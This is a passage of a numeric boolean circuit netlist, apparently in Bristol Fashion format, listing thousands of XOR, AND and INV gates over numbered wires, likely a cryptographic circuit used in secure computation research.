27504 27519 XOR +2 1 27520 27593 27591 XOR +2 1 27591 27589 27582 AND +2 1 27576 27582 27527 XOR +2 1 27527 27518 27574 XOR +2 1 27527 27519 27571 XOR +2 1 27513 27532 27481 XOR +2 1 34339 34341 10708 XOR +2 1 10784 10708 10712 XOR +2 1 10708 10804 10789 XOR +2 1 10804 10789 10780 AND +2 1 34323 27510 27596 XOR +2 1 34319 27596 27592 XOR +2 1 27596 27592 27579 AND +2 1 27579 27522 27478 XOR +2 1 34319 27478 27566 XOR +2 1 34323 27481 27524 XOR +2 1 33119 33208 10170 XOR +2 1 10170 33086 10062 XOR +2 1 10062 10063 36107 XOR +2 1 36107 1369 34316 XOR +2 1 34310 34316 10434 XOR +2 1 10428 10434 10517 XOR +2 1 10434 10429 10510 XOR +2 1 10444 10517 10515 XOR +2 1 10515 10513 10506 AND +2 1 34314 34316 10430 XOR +2 1 10430 10428 10390 XOR +2 1 10427 10390 10512 XOR +2 1 10521 10512 10499 AND +2 1 10430 34315 10389 XOR +2 1 34310 10389 10519 XOR +2 1 34315 10434 10520 XOR +2 1 34311 10520 10516 XOR +2 1 10507 10430 10433 XOR +2 1 10520 10516 10503 AND +2 1 10517 10510 10502 AND +2 1 10499 10502 10452 XOR +2 1 10432 10452 10406 XOR +2 1 34316 10429 10511 XOR +2 1 10522 10511 10501 AND +2 1 10501 10429 10431 XOR +2 1 10433 10431 10437 XOR +2 1 10406 10431 10496 XOR +2 1 34317 10437 10442 XOR +2 1 10170 10153 10032 XOR +2 1 10170 10168 10017 XOR +2 1 32818 10017 36131 XOR +2 1 36131 1345 34340 XOR +2 1 34338 34340 10710 XOR +2 1 10787 10710 10713 XOR +2 1 34334 34340 10714 XOR +2 1 10714 10709 10790 XOR +2 1 10708 10714 10797 XOR +2 1 10710 34339 10669 XOR +2 1 34334 10669 10799 XOR +2 1 10710 10708 10670 XOR +2 1 10707 10670 10792 XOR +2 1 34339 10714 10800 XOR +2 1 10724 10797 10795 XOR +2 1 10795 10793 10786 AND +2 1 34340 10709 10791 XOR +2 1 10802 10791 10781 AND +2 1 10781 10709 10711 XOR +2 1 10713 10711 10717 XOR +2 1 34341 10717 10722 XOR +2 1 10797 10790 10782 AND +2 1 10780 10781 10683 XOR +2 1 10799 34334 10785 AND +2 1 36233 10032 36124 XOR +2 1 36124 1352 34333 XOR +2 1 34333 34327 10663 XOR +2 1 10663 10648 10644 AND +2 1 34331 34333 10568 XOR +2 1 10570 10568 10530 XOR +2 1 10568 10574 10657 XOR +2 1 10644 10568 10572 XOR +2 1 10584 10657 10655 XOR +2 1 10567 10530 10652 XOR +2 1 34333 34328 10661 XOR +2 1 10661 10652 10639 AND +2 1 34330 34333 10662 XOR +2 1 10567 10662 10654 XOR +2 1 34326 10654 10653 XOR +2 1 10662 10651 10641 AND +2 1 10641 10569 10571 XOR +2 1 10655 10653 10646 AND +2 1 10662 10584 10658 XOR +2 1 10654 10658 10647 AND +2 1 10647 10570 10573 XOR +2 1 10573 10571 10577 XOR +2 1 34333 10577 10582 XOR +2 1 10801 10792 10779 AND +2 1 10779 10782 10732 XOR +2 1 10780 10732 10726 XOR +2 1 10712 10732 10686 XOR +2 1 10686 10711 10776 XOR +2 1 10779 10785 10736 XOR +2 1 10736 10708 10723 XOR +2 1 10683 10684 10730 XOR +2 1 10730 10712 10729 XOR +2 1 10717 10736 10685 XOR +2 1 10639 10645 10596 XOR +2 1 10596 10568 10583 XOR +2 1 10577 10596 10545 XOR +2 1 10568 10664 10649 XOR +2 1 10664 10649 10640 AND +2 1 10640 10641 10543 XOR +2 1 10543 10544 10590 XOR +2 1 10590 10572 10589 XOR +2 1 10643 10589 10637 XOR +2 1 10519 34310 10505 AND +2 1 10499 10505 10456 XOR +2 1 10437 10456 10405 XOR +2 1 34315 10405 10448 XOR +2 1 10456 10428 10443 XOR +2 1 10640 10646 10591 XOR +2 1 10591 10582 10638 XOR +2 1 10638 10637 10634 AND +2 1 10591 10583 10635 XOR +2 1 10780 10786 10731 XOR +2 1 10731 10723 10775 XOR +2 1 10731 10722 10778 XOR +2 1 34331 10545 10588 XOR +2 1 10634 10588 10629 XOR +2 1 34339 10685 10728 XOR +2 1 27508 27528 27482 XOR +2 1 27482 27507 27572 XOR +2 1 10657 10650 10642 AND +2 1 10639 10642 10592 XOR +2 1 10640 10592 10586 XOR +2 1 10572 10592 10546 XOR +2 1 10546 10571 10636 XOR +2 1 10643 10586 10542 XOR +2 1 34327 10542 10630 XOR +2 1 10629 10630 10628 AND +2 1 10628 10636 10627 XOR +2 1 10628 10645 10540 XOR +2 1 10627 34326 10613 AND +2 1 10628 10586 10541 XOR +2 1 10627 10659 10604 AND +2 1 10540 10642 10535 XOR +2 1 10634 10636 10633 XOR +2 1 10635 10633 10632 AND +2 1 10632 10588 10631 XOR +2 1 10631 10657 10601 AND +2 1 10632 10582 10534 XOR +2 1 10631 10650 10610 AND +2 1 10632 10644 10537 XOR +2 1 10537 10573 10533 XOR +2 1 34333 10533 10536 XOR +2 1 10535 10536 10619 XOR +2 1 10619 10662 10600 AND +2 1 10619 10651 10609 AND +2 1 34331 10533 10532 XOR +2 1 27981 27989 27979 XOR +2 1 27987 27979 27978 AND +2 1 27978 27947 27937 XOR +2 1 27937 27890 27974 XOR +2 1 27937 27939 27977 XOR +2 1 27974 28019 27959 AND +2 1 27977 28012 27958 AND +2 1 27977 28016 27967 AND +2 1 27966 27967 27904 XOR +2 1 27974 28004 27968 AND +2 1 27978 28002 27895 XOR +2 1 27967 27968 27953 XOR +2 1 27968 27959 27920 XOR +2 1 27966 27958 27922 XOR +2 1 27934 27895 27887 XOR +2 1 27887 27888 27972 XOR +2 1 27972 28005 27964 AND +2 1 27964 27953 27943 XOR +2 1 27964 27967 27919 XOR +2 1 27960 27943 27909 XOR +1 1 27909 27906 INV +2 1 27924 27887 27894 XOR +2 1 27891 27894 27976 XOR +2 1 27976 28008 27963 AND +2 1 27959 27963 27935 XOR +1 1 27935 27913 INV +2 1 27913 27957 27912 XOR +2 1 27965 27943 27903 XOR +1 1 27919 27916 INV +2 1 27972 28020 27955 AND +2 1 27955 27956 27949 XOR +2 1 27961 27949 27931 XOR +2 1 27976 28017 27954 AND +2 1 27962 27931 27932 XOR +2 1 27970 27932 27936 XOR +2 1 27971 27936 27941 XOR +2 1 27953 27941 36241 XOR +2 1 36236 36241 10194 XOR +1 1 10194 9965 INV +2 1 9965 10191 9962 XOR +2 1 36247 36241 9981 XOR +2 1 27969 27936 27905 XOR +2 1 27904 27905 36240 XOR +1 1 36240 9929 INV +2 1 9929 36234 9928 XOR +2 1 9927 9928 10232 XOR +2 1 36246 9929 9939 XOR +2 1 10232 10191 36136 XOR +2 1 36136 1340 34345 XOR +2 1 36235 36240 10202 XOR +1 1 10202 9968 INV +2 1 9968 10182 9991 XOR +2 1 9968 10201 9966 XOR +2 1 9966 9967 36160 XOR +2 1 9962 9963 36161 XOR +2 1 36161 1315 34370 XOR +2 1 10194 10176 9990 XOR +2 1 33148 9990 36146 XOR +2 1 36146 1330 34355 XOR +2 1 27932 27903 36244 XOR +2 1 36244 33141 10001 XOR +2 1 10000 10001 36140 XOR +2 1 36237 36244 10154 XOR +2 1 10165 10154 9959 XOR +2 1 36248 9959 36164 XOR +2 1 36164 1312 34373 XOR +2 1 10213 10154 9999 XOR +2 1 33143 9999 36141 XOR +2 1 36141 1335 34350 XOR +2 1 36140 1336 34349 XOR +2 1 34370 34373 26058 XOR +2 1 36241 36235 9931 XOR +2 1 9930 9931 10231 XOR +2 1 10231 10182 36137 XOR +2 1 36137 1339 34346 XOR +2 1 34346 34349 10942 XOR +2 1 36244 36248 10158 XOR +2 1 10158 32822 9932 XOR +1 1 10158 9937 INV +2 1 9937 36251 9938 XOR +2 1 9938 9939 10228 XOR +2 1 9937 36250 9934 XOR +2 1 10228 10194 36153 XOR +2 1 36153 1323 34362 XOR +2 1 27922 27949 27918 XOR +2 1 27950 27918 27921 XOR +2 1 27920 27921 28024 XOR +2 1 27913 27918 27917 XOR +2 1 27916 27917 28023 XOR +1 1 28023 36238 INV +2 1 33142 36238 10216 XOR +2 1 10216 10201 9995 XOR +2 1 36234 9995 36143 XOR +2 1 36143 1333 34352 XOR +2 1 10216 10213 9973 XOR +1 1 9973 9971 INV +2 1 9971 9972 36158 XOR +2 1 36158 1318 34367 XOR +2 1 34373 34367 26059 XOR +2 1 28023 33143 9925 XOR +2 1 9924 9925 10233 XOR +2 1 10233 10205 36134 XOR +2 1 36134 1342 34343 XOR +2 1 34343 34345 10847 XOR +2 1 10847 10942 10934 XOR +2 1 27912 27950 27908 XOR +2 1 27956 27908 27911 XOR +2 1 27931 27908 27907 XOR +2 1 27906 27907 36239 XOR +1 1 36239 9936 INV +2 1 36245 9936 9935 XOR +2 1 9934 9935 10229 XOR +2 1 10229 10202 36152 XOR +2 1 36152 1324 34361 XOR +2 1 36234 36239 10209 XOR +1 1 10209 9984 INV +2 1 9984 10191 9993 XOR +2 1 9984 36249 9982 XOR +2 1 10209 10205 9969 XOR +2 1 36245 9969 36159 XOR +2 1 36159 1317 34368 XOR +2 1 34367 34368 25980 XOR +2 1 34368 34370 26060 XOR +2 1 34373 34368 26057 XOR +2 1 26058 25980 26054 XOR +2 1 27964 27965 27915 XOR +2 1 27941 27915 28022 XOR +1 1 28022 36243 INV +2 1 33141 36243 10180 XOR +2 1 10180 10151 9988 XOR +2 1 33040 28022 9976 XOR +2 1 10180 32821 9979 XOR +2 1 10180 10176 9960 XOR +2 1 33040 9960 36163 XOR +2 1 36163 1313 34372 XOR +2 1 34370 34372 25966 XOR +2 1 36237 9988 36148 XOR +2 1 36148 1328 34357 XOR +2 1 34355 34357 27364 XOR +2 1 28022 33148 10004 XOR +2 1 10003 10004 10002 XOR +1 1 10002 36139 INV +2 1 36139 1337 34348 XOR +2 1 34346 34348 10850 XOR +1 1 9979 9977 INV +2 1 34357 34352 27457 XOR +1 1 28024 33123 INV +2 1 33034 33123 9933 XOR +2 1 9932 9933 10230 XOR +2 1 33143 33123 10217 XOR +2 1 10217 10205 9997 XOR +2 1 33123 10014 36133 XOR +2 1 36133 1343 34342 XOR +2 1 10217 10151 9974 XOR +2 1 33034 9974 36157 XOR +2 1 36157 1319 34366 XOR +2 1 10230 10216 36150 XOR +2 1 36150 1326 34359 XOR +2 1 34366 34372 25970 XOR +2 1 34342 10934 10933 XOR +2 1 10217 10158 9985 XOR +2 1 32823 9985 36149 XOR +2 1 36149 1327 34358 XOR +2 1 34342 34348 10854 XOR +2 1 34359 34361 10987 XOR +2 1 9936 33142 10012 XOR +2 1 10011 10012 36135 XOR +2 1 36135 1341 34344 XOR +2 1 34343 34344 10864 XOR +2 1 34344 34346 10944 XOR +2 1 34344 10847 10849 XOR +2 1 34349 34344 10941 XOR +2 1 10942 10864 10938 XOR +2 1 10854 10849 10930 XOR +2 1 34345 34344 10824 XOR +2 1 34348 10849 10931 XOR +2 1 10942 10931 10921 AND +2 1 10921 10849 10851 XOR +2 1 36160 1316 34369 XOR +2 1 34369 34368 25940 XOR +2 1 34367 34369 25963 XOR +2 1 34368 25963 25965 XOR +2 1 25970 25965 26046 XOR +2 1 25963 26058 26050 XOR +2 1 34366 26050 26049 XOR +2 1 26050 26054 26043 AND +2 1 26043 25966 25969 XOR +2 1 34372 25965 26047 XOR +2 1 26058 26047 26037 AND +2 1 26037 25965 25967 XOR +2 1 25969 25967 25973 XOR +2 1 34373 25973 25978 XOR +2 1 27965 27954 27914 XOR +1 1 27914 27910 INV +2 1 27910 27911 28021 XOR +1 1 28021 36242 INV +2 1 33148 36242 10187 XOR +2 1 10187 32828 9980 XOR +2 1 10187 10165 9989 XOR +2 1 28021 36236 10009 XOR +2 1 10008 10009 36138 XOR +2 1 36138 1338 34347 XOR +2 1 34347 10849 10928 XOR +2 1 34347 34349 10848 XOR +2 1 10848 10944 10929 XOR +2 1 10850 34347 10809 XOR +2 1 34342 10809 10939 XOR +2 1 10939 34342 10925 AND +2 1 10848 10854 10937 XOR +2 1 10937 10930 10922 AND +2 1 10944 10929 10920 AND +2 1 10920 10921 10823 XOR +2 1 10823 10824 10870 XOR +2 1 9980 9981 36154 XOR +2 1 36154 1322 34363 XOR +2 1 33141 9989 36147 XOR +2 1 34347 10854 10940 XOR +2 1 34343 10940 10936 XOR +2 1 10940 10936 10923 AND +2 1 10187 10182 9961 XOR +2 1 33039 9961 36162 XOR +2 1 36162 1314 34371 XOR +2 1 25966 34371 25925 XOR +2 1 34371 25970 26056 XOR +2 1 34366 25925 26055 XOR +2 1 26055 34366 26041 AND +2 1 34367 26056 26052 XOR +2 1 26056 26052 26039 AND +2 1 34371 34373 25964 XOR +2 1 25966 25964 25926 XOR +2 1 25964 26060 26045 XOR +2 1 25963 25926 26048 XOR +2 1 25964 25970 26053 XOR +2 1 26053 26046 26038 AND +2 1 25980 26053 26051 XOR +2 1 26051 26049 26042 AND +2 1 26060 26045 26036 AND +2 1 26036 26037 25939 XOR +2 1 25939 25940 25986 XOR +2 1 36147 1329 34356 XOR +2 1 34350 34356 27370 XOR +2 1 27364 27370 27453 XOR +2 1 34355 27370 27456 XOR +2 1 33039 28021 9978 XOR +2 1 26057 26048 26035 AND +2 1 26035 26041 25992 XOR +2 1 25992 25964 25979 XOR +2 1 26035 26038 25988 XOR +2 1 26036 25988 25982 XOR +2 1 26039 25982 25938 XOR +2 1 34367 25938 26026 XOR +2 1 10864 10937 10935 XOR +2 1 9977 9978 36155 XOR +2 1 36155 1321 34364 XOR +2 1 34362 34364 10990 XOR +2 1 10990 34363 10949 XOR +2 1 34358 10949 11079 XOR +2 1 11079 34358 11065 AND +2 1 34358 34364 10994 XOR +2 1 34363 10994 11080 XOR +2 1 34359 11080 11076 XOR +2 1 11080 11076 11063 AND +2 1 34371 25965 26044 XOR +2 1 26059 26044 26040 AND +2 1 26040 25964 25968 XOR +2 1 25986 25968 25985 XOR +2 1 26039 25985 26033 XOR +2 1 25968 25988 25942 XOR +2 1 25942 25967 26032 XOR +2 1 25973 25992 25941 XOR +2 1 34371 25941 25984 XOR +2 1 10935 10933 10926 AND +2 1 10920 10926 10871 XOR +2 1 26036 26042 25987 XOR +2 1 25987 25978 26034 XOR +2 1 26034 26033 26030 AND +2 1 26030 26032 26029 XOR +2 1 26030 25984 26025 XOR +2 1 26025 26026 26024 AND +2 1 26024 26041 25936 XOR +2 1 26024 25982 25937 XOR +2 1 25936 26038 25931 XOR +2 1 26024 26032 26023 XOR +2 1 26023 26055 26000 AND +2 1 26023 34366 26009 AND +2 1 26030 26024 26022 XOR +2 1 26032 26022 26021 AND +2 1 26021 26029 26019 XOR +2 1 26021 26039 25991 XOR +2 1 34367 25991 25974 XOR +2 1 25991 25985 26013 XOR +2 1 26013 26054 26002 AND +2 1 26013 26050 26011 AND +2 1 26009 26011 25990 XOR +2 1 25987 25979 26031 XOR +2 1 26031 26029 26028 AND +2 1 26028 25978 25930 XOR +2 1 26028 25984 26027 XOR +2 1 26027 26019 26018 AND +2 1 26028 26040 25933 XOR +2 1 25933 25969 25929 XOR +2 1 34371 25929 25928 XOR +2 1 26027 26053 25997 AND +2 1 34373 25929 25932 XOR +2 1 25931 25932 26015 XOR +2 1 26015 26058 25996 AND +2 1 26015 26047 26005 AND +2 1 26018 25987 25977 XOR +2 1 25977 25930 26014 XOR +2 1 26014 26059 25999 AND +2 1 26014 26044 26008 AND +2 1 25977 25979 26017 XOR +2 1 26017 26056 26007 AND +2 1 26007 26008 25993 XOR +2 1 26018 26042 25935 XOR +2 1 26008 25999 25960 XOR +2 1 26027 26046 26006 AND +2 1 26006 26007 25944 XOR +2 1 25974 25935 25927 XOR +2 1 25927 25928 26012 XOR +2 1 26012 26045 26004 AND +2 1 26004 26007 25959 XOR +1 1 25959 25956 INV +2 1 26004 25993 25983 XOR +2 1 26000 25983 25949 XOR +1 1 25949 25946 INV +2 1 26005 25983 25943 XOR +2 1 26012 26060 25995 AND +2 1 25995 25996 25989 XOR +2 1 25964 25927 25934 XOR +2 1 26004 26005 25955 XOR +2 1 25931 25934 26016 XOR +2 1 26016 26057 25994 AND +2 1 26005 25994 25954 XOR +1 1 25954 25950 INV +2 1 26016 26048 26003 AND +2 1 25999 26003 25975 XOR +1 1 25975 25953 INV +2 1 25953 25997 25952 XOR +2 1 25952 25990 25948 XOR +2 1 25996 25948 25951 XOR +2 1 25950 25951 26061 XOR +1 1 26061 33080 INV +2 1 11656 33080 11449 XOR +2 1 26017 26052 25998 AND +2 1 26006 25998 25962 XOR +2 1 25962 25989 25958 XOR +2 1 25990 25958 25961 XOR +2 1 25960 25961 26064 XOR +2 1 25953 25958 25957 XOR +2 1 25956 25957 26063 XOR +1 1 26063 33074 INV +1 1 26064 33075 INV +2 1 25974 25937 26020 XOR +2 1 26020 26051 26001 AND +2 1 26020 26049 26010 AND +2 1 26001 25989 25971 XOR +2 1 26002 25971 25972 XOR +2 1 26010 25972 25976 XOR +2 1 25972 25943 36453 XOR +2 1 33234 36453 11444 XOR +2 1 36438 36453 11628 XOR +1 1 11628 11396 INV +2 1 11396 33075 11394 XOR +2 1 11394 11395 11702 XOR +2 1 25971 25948 25947 XOR +2 1 25946 25947 36450 XOR +2 1 26011 25976 25981 XOR +2 1 25981 25955 26062 XOR +2 1 25993 25981 36452 XOR +2 1 11453 36450 11451 XOR +2 1 26009 25976 25945 XOR +2 1 25944 25945 36451 XOR +2 1 11628 36451 11400 XOR +2 1 11400 11401 11700 XOR +1 1 26062 33073 INV +2 1 11649 33073 11448 XOR +1 1 11448 11446 INV +2 1 11396 36450 11397 XOR +2 1 11397 11398 11701 XOR +2 1 34335 10800 10796 XOR +2 1 10800 10796 10783 AND +2 1 10783 10726 10682 XOR +2 1 10783 10729 10777 XOR +2 1 10778 10777 10774 AND +2 1 10774 10728 10769 XOR +2 1 10774 10776 10773 XOR +2 1 10775 10773 10772 AND +2 1 10772 10728 10771 XOR +2 1 10771 10790 10750 AND +2 1 10772 10722 10674 XOR +2 1 34335 10682 10770 XOR +2 1 10771 10797 10741 AND +2 1 10772 10784 10677 XOR +2 1 10677 10713 10673 XOR +2 1 34339 10673 10672 XOR +2 1 34341 10673 10676 XOR +2 1 10769 10770 10768 AND +2 1 10768 10785 10680 XOR +2 1 10680 10782 10675 XOR +2 1 10768 10776 10767 XOR +2 1 10774 10768 10766 XOR +2 1 10675 10676 10759 XOR +2 1 10768 10726 10681 XOR +2 1 10767 10799 10744 AND +2 1 10759 10802 10740 AND +2 1 10759 10791 10749 AND +2 1 10776 10766 10765 AND +2 1 10765 10773 10763 XOR +2 1 10771 10763 10762 AND +2 1 10762 10731 10721 XOR +2 1 10721 10674 10758 XOR +2 1 10758 10788 10752 AND +2 1 10758 10803 10743 AND +2 1 10721 10723 10761 XOR +2 1 10761 10800 10751 AND +2 1 10750 10751 10688 XOR +2 1 10751 10752 10737 XOR +2 1 10762 10786 10679 XOR +2 1 10752 10743 10704 XOR +2 1 10765 10783 10735 XOR +2 1 10735 10729 10757 XOR +2 1 10757 10794 10755 AND +2 1 34335 10735 10718 XOR +2 1 10718 10681 10764 XOR +2 1 10764 10793 10754 AND +2 1 10761 10796 10742 AND +2 1 10764 10795 10745 AND +2 1 10718 10679 10671 XOR +2 1 10671 10672 10756 XOR +2 1 10756 10789 10748 AND +2 1 10748 10751 10703 XOR +2 1 10748 10737 10727 XOR +2 1 10744 10727 10693 XOR +1 1 10693 10690 INV +2 1 10748 10749 10699 XOR +1 1 10703 10700 INV +2 1 10749 10727 10687 XOR +2 1 10708 10671 10678 XOR +2 1 10675 10678 10760 XOR +2 1 10760 10792 10747 AND +2 1 10743 10747 10719 XOR +1 1 10719 10697 INV +2 1 10760 10801 10738 AND +2 1 10749 10738 10698 XOR +1 1 10698 10694 INV +2 1 10697 10741 10696 XOR +2 1 10767 34334 10753 AND +2 1 10753 10755 10734 XOR +2 1 10696 10734 10692 XOR +2 1 10740 10692 10695 XOR +2 1 10694 10695 10805 XOR +1 1 10805 32846 INV +2 1 33076 32846 11637 XOR +2 1 11639 11637 11486 XOR +2 1 10757 10798 10746 AND +2 1 10756 10804 10739 AND +2 1 10739 10740 10733 XOR +2 1 10750 10742 10706 XOR +2 1 10706 10733 10702 XOR +2 1 10734 10702 10705 XOR +2 1 10704 10705 10808 XOR +2 1 10697 10702 10701 XOR +2 1 10700 10701 10807 XOR +1 1 10807 32840 INV +2 1 33070 32840 11655 XOR +2 1 11629 32840 11387 XOR +1 1 10808 32841 INV +2 1 33071 32841 11659 XOR +2 1 11387 11388 11705 XOR +2 1 10745 10733 10715 XOR +2 1 10746 10715 10716 XOR +2 1 10716 10687 36434 XOR +2 1 36430 36434 11621 XOR +2 1 11621 33070 11499 XOR +2 1 11621 33059 11511 XOR +2 1 11621 11490 11489 XOR +2 1 11621 36428 11496 XOR +2 1 10715 10692 10691 XOR +2 1 10690 10691 36431 XOR +2 1 36427 36431 11652 XOR +2 1 11652 32840 11535 XOR +2 1 10634 10628 10626 XOR +2 1 10636 10626 10625 AND +2 1 10625 10633 10623 XOR +2 1 10631 10623 10622 AND +2 1 10622 10591 10581 XOR +2 1 10581 10583 10621 XOR +2 1 10622 10646 10539 XOR +2 1 10621 10660 10611 AND +2 1 10610 10611 10548 XOR +2 1 10621 10656 10602 AND +2 1 10610 10602 10566 XOR +2 1 10581 10534 10618 XOR +2 1 10618 10663 10603 AND +2 1 10618 10648 10612 AND +2 1 10611 10612 10597 XOR +2 1 10612 10603 10564 XOR +2 1 10524 10509 10500 AND +2 1 10500 10501 10403 XOR +2 1 10403 10404 10450 XOR +2 1 10450 10432 10449 XOR +2 1 10503 10449 10497 XOR +2 1 10500 10452 10446 XOR +2 1 10500 10506 10451 XOR +2 1 10451 10443 10495 XOR +2 1 10451 10442 10498 XOR +2 1 10498 10497 10494 AND +2 1 10494 10496 10493 XOR +2 1 10495 10493 10492 AND +2 1 10492 10504 10397 XOR +2 1 10492 10442 10394 XOR +2 1 10397 10433 10393 XOR +2 1 34315 10393 10392 XOR +2 1 34317 10393 10396 XOR +2 1 10492 10448 10491 XOR +2 1 10491 10510 10470 AND +2 1 10491 10517 10461 AND +2 1 10494 10448 10489 XOR +2 1 10503 10446 10402 XOR +2 1 34311 10402 10490 XOR +2 1 10489 10490 10488 AND +2 1 10488 10446 10401 XOR +2 1 10494 10488 10486 XOR +2 1 10488 10496 10487 XOR +2 1 10488 10505 10400 XOR +2 1 10496 10486 10485 AND +2 1 10485 10493 10483 XOR +2 1 10485 10503 10455 XOR +2 1 10455 10449 10477 XOR +2 1 10477 10518 10466 AND +2 1 10400 10502 10395 XOR +2 1 10395 10396 10479 XOR +2 1 10479 10511 10469 AND +2 1 10479 10522 10460 AND +2 1 34311 10455 10438 XOR +2 1 10438 10401 10484 XOR +2 1 10484 10513 10474 AND +2 1 10487 10519 10464 AND +2 1 10484 10515 10465 AND +2 1 10477 10514 10475 AND +2 1 10491 10483 10482 AND +2 1 10482 10451 10441 XOR +2 1 10441 10394 10478 XOR +2 1 10441 10443 10481 XOR +2 1 10478 10508 10472 AND +2 1 10481 10516 10462 AND +2 1 10481 10520 10471 AND +2 1 10470 10471 10408 XOR +2 1 10482 10506 10399 XOR +2 1 10438 10399 10391 XOR +2 1 10391 10392 10476 XOR +2 1 10476 10524 10459 AND +2 1 10478 10523 10463 AND +2 1 10472 10463 10424 XOR +2 1 10471 10472 10457 XOR +2 1 10470 10462 10426 XOR +2 1 10459 10460 10453 XOR +2 1 10426 10453 10422 XOR +2 1 10476 10509 10468 AND +2 1 10468 10471 10423 XOR +2 1 10468 10469 10419 XOR +1 1 10423 10420 INV +2 1 10465 10453 10435 XOR +2 1 10466 10435 10436 XOR +2 1 10474 10436 10440 XOR +2 1 10468 10457 10447 XOR +2 1 10464 10447 10413 XOR +1 1 10413 10410 INV +2 1 10428 10391 10398 XOR +2 1 10395 10398 10480 XOR +2 1 10480 10512 10467 AND +2 1 10480 10521 10458 AND +2 1 10469 10458 10418 XOR +1 1 10418 10414 INV +2 1 10463 10467 10439 XOR +1 1 10439 10417 INV +2 1 10417 10422 10421 XOR +2 1 10420 10421 10527 XOR +2 1 10417 10461 10416 XOR +1 1 10527 32832 INV +2 1 32832 32853 11417 XOR +2 1 32832 11420 11599 XOR +2 1 11416 11417 11693 XOR +2 1 10487 34310 10473 AND +2 1 10473 10440 10409 XOR +2 1 10473 10475 10454 XOR +2 1 10454 10422 10425 XOR +2 1 10416 10454 10412 XOR +2 1 10435 10412 10411 XOR +2 1 10410 10411 36398 XOR +2 1 36398 36413 11667 XOR +1 1 11667 11529 INV +2 1 11679 11529 11526 XOR +2 1 10408 10409 36399 XOR +2 1 10460 10412 10415 XOR +2 1 10414 10415 10525 XOR +1 1 10525 32838 INV +2 1 11669 32838 11475 XOR +2 1 10475 10440 10445 XOR +2 1 10445 10419 10526 XOR +2 1 10457 10445 36400 XOR +2 1 11672 36400 11494 XOR +1 1 11494 11492 INV +1 1 10526 32831 INV +2 1 11715 32831 11455 XOR +2 1 32832 33078 11687 XOR +2 1 10424 10425 10528 XOR +1 1 10528 32833 INV +2 1 11227 32833 11413 XOR +2 1 32833 33079 11688 XOR +2 1 10469 10447 10407 XOR +2 1 10436 10407 36401 XOR +2 1 36401 36417 11632 XOR +1 1 11632 11528 INV +2 1 11528 33078 11557 XOR +2 1 11632 36399 11373 XOR +2 1 33033 28023 9983 XOR +2 1 9982 9983 36151 XOR +2 1 36151 1325 34360 XOR +2 1 34360 10987 10989 XOR +2 1 34361 34360 10964 XOR +2 1 10994 10989 11070 XOR +2 1 34364 10989 11071 XOR +2 1 34360 34362 11084 XOR +2 1 34359 34360 11004 XOR +2 1 34363 10989 11068 XOR +2 1 10934 10938 10927 AND +2 1 10927 10850 10853 XOR +2 1 10853 10851 10857 XOR +2 1 34349 10857 10862 XOR +2 1 10871 10862 10918 XOR +2 1 10850 10848 10810 XOR +2 1 10847 10810 10932 XOR +2 1 10941 10932 10919 AND +2 1 10919 10922 10872 XOR +2 1 10920 10872 10866 XOR +2 1 10923 10866 10822 XOR +2 1 34343 10822 10910 XOR +2 1 10919 10925 10876 XOR +2 1 10876 10848 10863 XOR +2 1 10871 10863 10915 XOR +2 1 10857 10876 10825 XOR +2 1 34347 10825 10868 XOR +1 1 10154 33235 INV +2 1 33235 36252 9975 XOR +2 1 33235 33142 9998 XOR +2 1 33235 36235 9994 XOR +2 1 9975 9976 36156 XOR +2 1 36156 1320 34365 XOR +2 1 34365 34359 11083 XOR +2 1 11083 11068 11064 AND +2 1 34362 34365 11082 XOR +2 1 34363 34365 10988 XOR +2 1 10988 10994 11077 XOR +2 1 11077 11070 11062 AND +2 1 11004 11077 11075 XOR +2 1 11064 10988 10992 XOR +2 1 10987 11082 11074 XOR +2 1 34358 11074 11073 XOR +2 1 11075 11073 11066 AND +2 1 11082 11004 11078 XOR +2 1 11074 11078 11067 AND +2 1 11067 10990 10993 XOR +2 1 10990 10988 10950 XOR +2 1 10987 10950 11072 XOR +2 1 10988 11084 11069 XOR +2 1 11084 11069 11060 AND +2 1 11060 11066 11011 XOR +2 1 34365 34360 11081 XOR +2 1 11081 11072 11059 AND +2 1 11059 11065 11016 XOR +2 1 11016 10988 11003 XOR +2 1 11059 11062 11012 XOR +2 1 11060 11012 11006 XOR +2 1 11063 11006 10962 XOR +2 1 34359 10962 11050 XOR +2 1 11011 11003 11055 XOR +2 1 10992 11012 10966 XOR +2 1 9997 9998 9996 XOR +1 1 9996 36142 INV +2 1 36142 1334 34351 XOR +2 1 34351 27456 27452 XOR +2 1 27456 27452 27439 AND +2 1 34351 34352 27380 XOR +2 1 27380 27453 27451 XOR +2 1 11082 11071 11061 AND +2 1 11061 10989 10991 XOR +2 1 11060 11061 10963 XOR +2 1 10966 10991 11056 XOR +2 1 10963 10964 11010 XOR +2 1 11010 10992 11009 XOR +2 1 11063 11009 11057 XOR +2 1 10993 10991 10997 XOR +2 1 10997 11016 10965 XOR +2 1 34363 10965 11008 XOR +2 1 34365 10997 11002 XOR +2 1 11011 11002 11058 XOR +2 1 11058 11057 11054 AND +2 1 11054 11056 11053 XOR +2 1 11055 11053 11052 AND +2 1 11054 11008 11049 XOR +2 1 11049 11050 11048 AND +2 1 11048 11056 11047 XOR +2 1 11047 11079 11024 AND +2 1 11054 11048 11046 XOR +2 1 11056 11046 11045 AND +2 1 11047 34358 11033 AND +2 1 11045 11053 11043 XOR +2 1 11052 11002 10954 XOR +2 1 11048 11006 10961 XOR +2 1 11052 11008 11051 XOR +2 1 11051 11077 11021 AND +2 1 11048 11065 10960 XOR +2 1 10960 11062 10955 XOR +2 1 11052 11064 10957 XOR +2 1 11051 11070 11030 AND +2 1 11051 11043 11042 AND +2 1 11042 11011 11001 XOR +2 1 11001 10954 11038 XOR +2 1 11038 11068 11032 AND +2 1 11042 11066 10959 XOR +2 1 11001 11003 11041 XOR +2 1 11041 11080 11031 AND +2 1 11030 11031 10968 XOR +2 1 11031 11032 11017 XOR +2 1 11038 11083 11023 AND +2 1 11032 11023 10984 XOR +2 1 10957 10993 10953 XOR +2 1 34365 10953 10956 XOR +2 1 10955 10956 11039 XOR +2 1 11039 11082 11020 AND +2 1 11039 11071 11029 AND +2 1 34363 10953 10952 XOR +2 1 11045 11063 11015 XOR +2 1 34359 11015 10998 XOR +2 1 10998 10961 11044 XOR +2 1 11044 11073 11034 AND +2 1 11044 11075 11025 AND +2 1 10998 10959 10951 XOR +2 1 10988 10951 10958 XOR +2 1 10955 10958 11040 XOR +2 1 11040 11081 11018 AND +2 1 11040 11072 11027 AND +2 1 11029 11018 10978 XOR +1 1 10978 10974 INV +2 1 10951 10952 11036 XOR +2 1 11036 11084 11019 AND +2 1 11036 11069 